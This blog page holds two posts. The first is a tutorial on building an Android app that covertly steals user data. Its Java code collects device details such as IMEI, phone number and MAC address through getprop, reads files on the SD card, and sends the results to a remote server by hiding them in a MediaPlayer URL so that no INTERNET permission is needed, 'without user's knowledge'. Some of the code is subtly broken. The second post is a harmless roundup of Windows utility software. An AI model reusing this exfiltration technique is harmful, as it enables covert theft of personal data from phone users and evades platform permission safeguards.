Tuesday, December 11, 2012

How to Create Android app for stealing

How to Create Android App for Stealing User Info

Hi
I would like to share some stuff about Android security , and I will try to give you some examples , how actually you can create an application without using or adding any permission including android.permission.INTERNET ,(normally it is added AndroidManifest.xml), if you want your app to use internet connection , With the functions below you will be able to send data to any server over the http to your apache log on your server , or posting to your php pages. First I will show you which information are available few which i know , maybe there are some more unknown info which is available. to be send

1.List of details about User,Device which can be taken,stolen and send to remote servers.
Normally to get some user and phone detailed you need to use READ_PHONE_STATE permission but if you just used the function below
you will actually have all the information about user and the phone( user phone number, ip, mac, phone country, telecom company, mac address, ip, imei)

public void getprop()
{

try {
String s="";

Process p = Runtime.getRuntime().exec("getprop");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));

while ((s = stdInput.readLine()) != null)
{
Log.i("User Information :","getprop"+s);

}
}
catch (IOException e) {

}



2. If you know how to list installed apps you can use Package Manager for android and get the installed apps list on the phone.

3.You can also scan the sdcard and and other phone files and check for text files .

Listing available files

public void listfiles()
{

try {

File f = new File("ls "+Environment.getExternalStorageDirectory());
FileInputStream fileis = new FileInputStream(f);
BufferedReader buf = new BufferedReader(new InputStreamReader(fileis));
String readString = new String(); 

while((readString = buf.readLine())!= null)
{
Log.i("Directories and Files: ", readString);
}
}
catch (IOException e) {

}

reading a single file on sdcard

3.a Reading a single file

public void readsdcardfile()
{

try {

File f = new File(Environment.getExternalStorageDirectory()+"/filetoget.txt");
FileInputStream fileIS = new FileInputStream(f);
BufferedReader buf = new BufferedReader(new InputStreamReader(fileIS));
String readString = new String(); 

while((readString = buf.readLine())!= null)
{
Log.i("file: ", readString);
}
}
catch (IOException e) {

}



basically you can first list the for any text files and then read all the files

And Finally the magic part ok we got all the information but how do we send it without user's knowledge and harvest some data.

This trick is very simple to do , first create your strings about the information described above which you want to send than i will show you how to send them .
using this single code of line you will be able to connect to any http page and send your previously created Strings about phone and user details or text files

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/userDetails"+PhoneDetails+FileDetails+InstalledAppsDetails));

How Does this will send information
When you call MediaPlayer.create static function ,normally it is expected you to provide an video audio file link for streaming ,well you do not have to , you can just type any url it will still connect and even if the link is not working on the other side of the server you will have the information It will be stored in your Apache Server Logs ,because you have just requested a non existing file on the server with the user details and the other stuff in url.

You can also create a php page and try to post your stuff
php post page probably should work as below(i have tested this one but assuming it might just work)

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/getinfo.php?details&"+userDetails+PhoneDetails+FileDetails+InstalledAppsDetails));

The main trick of this tutorial was that without using any single permission in your AndroidManifest.xml file you will be still able to send data to any server
by just using a single line of code you just request on your website a non existing page and it will be logged on your Apache ServerLogs or if you have a php post file you can just print it on your page or store on your database.

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/mydetailstosendString));

Please use this wisely and for training purposes only and take it as an example of how actually android security is vulnerable.




Monday, December 10, 2012

Tools to Manage Windows

5 Tools to Manage/Protect Your PC in a Most Efficient Way for Windows
Managing or protecting your PC is sometimes a very hectic job. Sometimes it may also creates a dilemma to choose with better alternative. Many a times we come-up with a wrong decisions and loose our important data. But this will be no more now---with this a complete set of utility. This tools will enable you to enhance overall performance of your computer...



The Piriform's Ccleaner is a popular utility tool which will enhance the performance of your PC. This freeware provides you with a wide range of tools like, Junk files cleaner,Registry cleanerApplication Uninstaller, Startup, System restore.. And now it provides the most essential feature, Data wiper. You can wipe out(erase) all your data on your hard drive with through 4 secure option i.e. simple one pass, Advance(3pass), Complex(7pass) and very complex(35pass)..so as to protect your sensitive data from being stolen..
Click to download from official site



It is very irritating when your computer loads very slow, isn't it? this is because it takes time to load the startup application, some of which are displayed in system tray while some of which are not. These application register themselves to startup while installation. But the question is why we are providing them so much of priority..? The answer to this question will differ...but we can restrict them to register themselves to startup. This simple program work transparently and alerts you when anyapplication register itself to starup. And this is freeware so that you can atleast give a try to this.








Innovative Solution's DriverMax enables you to keep track of the updated driver for your hardware and computer peripherals. With this utility software you can search for the latest update of drivers for your computer. This is a freeware with a very understandable interface. You just need to register to this service through a very little form and you will be allowed to use its huge resources. Without this App it would be very difficult job to search drivers and install it...





Do your laptop shutdowns with poor battery backup and you end with hurry backing up your data in fear to loose your important data, or electricity bill loosing down your pants..well this was about your problem do you ever thought that to power up your PC's it needs electricity, and for the generation of electricity many plants are cut down...
That's why MiserWare has came up with its power efficiency management tool that is Granula, and its companies name suggest that it is free. Well with this efficient tool you can cut your power use by 10% when the computer is idel with no such active processes are going on..
It will not only save you money but also save your environment..
Click To download from official site




You are going to get some data in your removable device, you have some important data too in your device, you don't have any virus or malware in your device, you don't know whether that PC to which your going to attach your device has the antivirus or even it is free from viruses...
Now think, you could carry your antivirus everywhere with you. The same feature is provided you by Portable Apps.
Click to download from official site